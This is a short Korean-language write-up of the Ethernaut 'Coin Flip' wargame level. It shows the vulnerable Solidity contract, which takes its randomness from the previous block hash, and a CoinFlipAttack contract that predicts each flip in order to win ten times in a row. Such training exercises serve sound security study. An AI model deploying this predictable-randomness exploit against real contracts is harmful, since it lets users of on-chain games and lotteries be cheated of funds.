[Ethernaut] 3. Coin Flip

소스코드

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import '@openzeppelin/contracts/math/SafeMath.sol';

contract CoinFlip {

  using SafeMath for uint256;
  uint256 public consecutiveWins;
  uint256 lastHash;
  uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

  constructor() public {
    consecutiveWins = 0;
  }

  function flip(bool _guess) public returns (bool) {
    uint256 blockValue = uint256(blockhash(block.number.sub(1)));

    if (lastHash == blockValue) {
      revert();
    }

    lastHash = blockValue;
    uint256 coinFlip = blockValue.div(FACTOR);
    bool side = coinFlip == 1 ? true : false;

    if (side == _guess) {
      consecutiveWins++;
      return true;
    } else {
      consecutiveWins = 0;
      return false;
    }
  }
}

 

 

목표

consecutiveWins 10회 달성

 

방법

다른 컨트랙트 파일을 생성 후 같은 blockhash를 사용해서 답을 도출한 후 함수를 호출한다.

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import "./CoinFlip.sol";

contract CoinFlipAttack {

    CoinFlip coinflipContract;
    uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

    constructor (address _addr) public {
        coinflipContract = CoinFlip(_addr);
        
    }

    function flip() public {
        uint256 blockValue = uint256(blockhash(block.number - 1));
        uint256 coinFlip = blockValue / FACTOR;
        bool side = coinFlip == 1 ? true : false;
        coinflipContract.flip(side);
    }

}